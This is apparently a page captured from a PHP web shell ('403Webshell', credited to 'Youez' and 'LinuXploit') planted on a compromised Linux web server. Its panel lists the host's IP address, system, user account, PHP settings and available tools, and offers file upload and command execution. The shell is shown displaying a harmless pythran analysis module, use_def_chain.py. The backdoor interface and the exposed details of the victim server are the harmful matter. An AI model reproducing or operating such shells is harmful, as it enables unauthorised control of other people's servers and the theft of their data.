403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/analyses/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/analyses//use_def_chain.py
""" UsedDefChain build used-define chains analysis for each variable. """

from pythran.passmanager import ModuleAnalysis
import pythran.metadata as md

import beniget


class ExtendedDefUseChains(beniget.DefUseChains):

    def unbound_identifier(self, name, node):
        # don't warn on unbound identifier
        pass

    def visit(self, node):
        # be aware of metadata
        md.visit(self, node)
        return super(ExtendedDefUseChains, self).visit(node)


class UseDefChains(ModuleAnalysis):

    """
    Build use-define chains analysis for each variable.
    """

    def __init__(self):
        self.result = None
        super(UseDefChains, self).__init__(DefUseChains)

    def visit_Module(self, node):
        udc = beniget.UseDefChains(self.def_use_chains)
        self.result = udc.chains


class DefUseChains(ModuleAnalysis):

    """
    Build define-use-define chains analysis for each variable.
    """

    def __init__(self):
        self.result = None
        super(DefUseChains, self).__init__()

    def visit_Module(self, node):
        duc = ExtendedDefUseChains()
        duc.visit(node)
        self.result = duc

Youez - 2016 - github.com/yon3zu
LinuXploit